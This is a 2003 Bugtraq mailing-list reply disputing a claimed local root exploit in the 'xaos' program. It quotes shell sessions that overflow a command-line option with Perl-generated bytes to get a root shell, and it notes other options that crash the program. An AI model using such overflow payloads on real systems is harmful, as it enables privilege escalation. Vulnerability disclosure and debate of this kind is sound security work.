Bugtraq mailing list archives

Re: BAZARR LOCAL ROOT AGAIN. HI GUYS. DONT READ THIS


From: "Benjamin A. Okopnik" <ben () callahans org>
Date: Fri, 6 Jun 2003 12:56:15 -0400

On Thu, Jun 05, 2003 at 03:27:23PM -0700, bazarr () ziplip com wrote:

[ snipping for context ]

c00l@debian:~/code/dump% /usr/bin/xaos -language `perl -e 'print "A"x20049'`
Segmentation fault

[c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AA
Segmentation fault
[c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAA
Segmentation fault
[c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAAA
sh-2.05a# id ; uname -a
uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l)

My version of "xaos" (v3.1, Debian "unstable") does not have a
"-language" option, and the above will simply generate the "help text"
(the list of available options.) It does, however, segfault on the the
"-nogui" option and the "-render" option when a non-existent file name
is given as an argument.


Ben Okopnik
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
No problem is so formidable that you can't just walk away from it.


Current thread: